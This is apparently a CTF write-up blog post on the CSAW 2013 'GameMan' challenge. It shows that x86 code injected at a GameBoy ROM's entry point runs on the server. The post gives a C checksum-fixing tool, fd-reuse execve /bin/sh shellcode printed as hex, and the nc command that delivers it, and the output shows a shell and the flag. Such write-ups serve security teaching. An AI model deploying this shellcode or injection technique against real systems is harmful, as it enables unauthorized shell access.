23
Sep
2013

CSAW CTF 2013 – Exploitation 400 – GameMan

nc 128.238.66.223 1025 < hello_world.gbc

We are given a GameBoy (Color) ROM file and a server address + port.

When sending the original hello_world.gbc to the server we are greeted with some output:

$ nc -vvv 128.238.66.223 1025 < hello_world.gbc
Connection to 128.238.66.223 1025 port [tcp/*] succeeded!
Insert Cartridge... 
Loaded: CSAW CTF 2013
OK
OK
OK
Hello World!

At first glance, the hello_world.gbc seems like a pretty big file. Luckily one of our team
members spotted that it is pretty much equal to the Pokemon Blue ROM image. :-)

The differing regions are some 0×40 bytes starting at 0×150.
0×150 happens to be the entrypoint that is being jumped to from the Gameboy ROM header.

The code there looks a bit like this:

0000150: 9068 0a00 0000 6872 6c64 2168 6f20 576f  .h....hrld!ho Wo
0000160: 6848 656c 6cb8 0400 0000 bb01 0000 0089  hHell...........
0000170: e1ba 1400 0000 cd80 b801 0000 00cd 80f0  ................
0000180: 00f0 00f0 00f0 00f0 00f0 00f0 00f0 002f  .............../

Upon closer inspection.. this might not be Gameboy Z80 code at all! The occurences
of “cd 80″ kind of give away that this might be plain x86 code:

$  objdump -D -m i386 -b binary code.bin

code.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:	90                   	nop
   1:	68 0a 00 00 00       	push   $0xa
   6:	68 72 6c 64 21       	push   $0x21646c72
   b:	68 6f 20 57 6f       	push   $0x6f57206f
  10:	68 48 65 6c 6c       	push   $0x6c6c6548
  15:	b8 04 00 00 00       	mov    $0x4,%eax
  1a:	bb 01 00 00 00       	mov    $0x1,%ebx
  1f:	89 e1                	mov    %esp,%ecx
  21:	ba 14 00 00 00       	mov    $0x14,%edx
  26:	cd 80                	int    $0x80
  28:	b8 01 00 00 00       	mov    $0x1,%eax
  2d:	cd 80                	int    $0x80

So it looks like we can just insert any x86 shellcode into the “gameboy” ROM image
and send it to the server to have it executed! There is ofcourse one small problem,
we need to fix the checksum of the ROM after modifying it.

For this we wrote a small helper tool:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>

typedef struct {
	char *filename;
	unsigned char *buf;
	unsigned int size;
} bfile;


bfile *slurp_file(char *path) {
	bfile *b;

	FILE *f = fopen(path, "rb");
	if (f==NULL) return NULL;

	b = malloc(sizeof(bfile));

	fseek(f, 0, SEEK_END);

	b->size = ftell(f);

	b->filename = malloc(strlen(path)+1);
	strcpy(b->filename, path);

	b->buf = malloc(b->size);

	fseek(f, 0, SEEK_SET);
	fread(b->buf, b->size, 1, f);

	fclose(f);

	return b;
}

int main(int argc, char *argv[]) {
	int i;
	bfile *f;
	FILE *fp;
	unsigned short *b16, sum;
	unsigned char sum8;

	f = slurp_file(argv[1]);

	b16 = (unsigned short*)f->buf;

	// header checksum
	printf("HEADER CHECKSUM = %02x\n", f->buf[0x14d]);
	sum8=0;
	for(i=0x134; i<=0x14c; i++) {
		sum8 = sum8 - f->buf[i] - 1;
	}
	printf("CALC HEADERSUM  = %02x\n", sum8);

	if (sum8 != f->buf[0x14d]) {
		f->buf[0x14d] = sum8;
		printf(">> HEADER SUM FIXED!\n");
	} else {
		printf(">> HEADER SUM OK!\n");
	}

	// global checksum
	printf("GLOBAL CHECKSUM = %04x\n", b16[0x14e/2]);
	sum = 0;

	for(i = 0; i < f->size; i++) {
		if (i == 0x14e || i == 0x14f) continue;

		sum += f->buf[i];
	}

	sum = ((sum&0xff)<<8) | (sum>>8);

	printf("CALC GLOBALSUM = %04x\n", sum);

	if (sum != b16[0x14e/2]) {
		printf(">> CHECKSUM MISMATCH! FIXING..\n");
		b16[0x14e/2] = sum;
	} else {
		printf(">> CHECKSUM OK!\n");
	}

	fp = fopen(argv[1], "wb");
	fwrite(f->buf, f->size, 1, fp);
	fclose(fp);

	printf(">> DONE!\n");

	return 0;	
}

Now we can freely tamper with the ROM data (and header) as we wish.
We proceeded by injecting a fd-reuse execve /bin/sh code (written by brainsmoke) at 0×150 in the ROM file.

$ moneyshot.py build x86/linux/fdreuse outformat=hexdump


           | 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |
  +--------+-------------------------------------------------+------------------+
  | 000000 | 54 59 6a 7f 54 51 6a 7f 54 59 6a 07 5b ff 09 6a | TYj.TQj.TYj.[..j |
  | 000010 | 66 58 cd 80 85 c0 75 f5 5b 6a 02 59 6a 3f 58 cd | fX....u.[j.Yj?X. |
  | 000020 | 80 49 79 f8 41 31 d2 51 68 6e 2f 73 68 68 2f 2f | .Iy.A1.Qhn/shh// |
  | 000030 | 62 69 89 e3 6a 0b 58 cd 80                      | bi..j.X..        |
  +--------+-------------------------------------------------+------------------+

And now we send it off to the daemon and pray to god:

$ ./gb_checksum owned.gbc                          
HEADER CHECKSUM = 23
CALC HEADERSUM  = 23
>> HEADER SUM OK!
GLOBAL CHECKSUM = 3061
CALC GLOBALSUM = 3061
>> CHECKSUM OK!
>> DONE!

$ (cat owned.gbc ; cat - ) | nc 128.238.66.223 1025
id
uid=1001(gameman) gid=1001(gameman) groups=1001(gameman)
ls
key.txt
cat key.txt
key{gameboy_is_not_dead}

{One Response to “CSAW CTF 2013 – Exploitation 400 – GameMan”}

  1. Thanx for WU. You can write about Exploitation 100 and 200?

    Genry

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>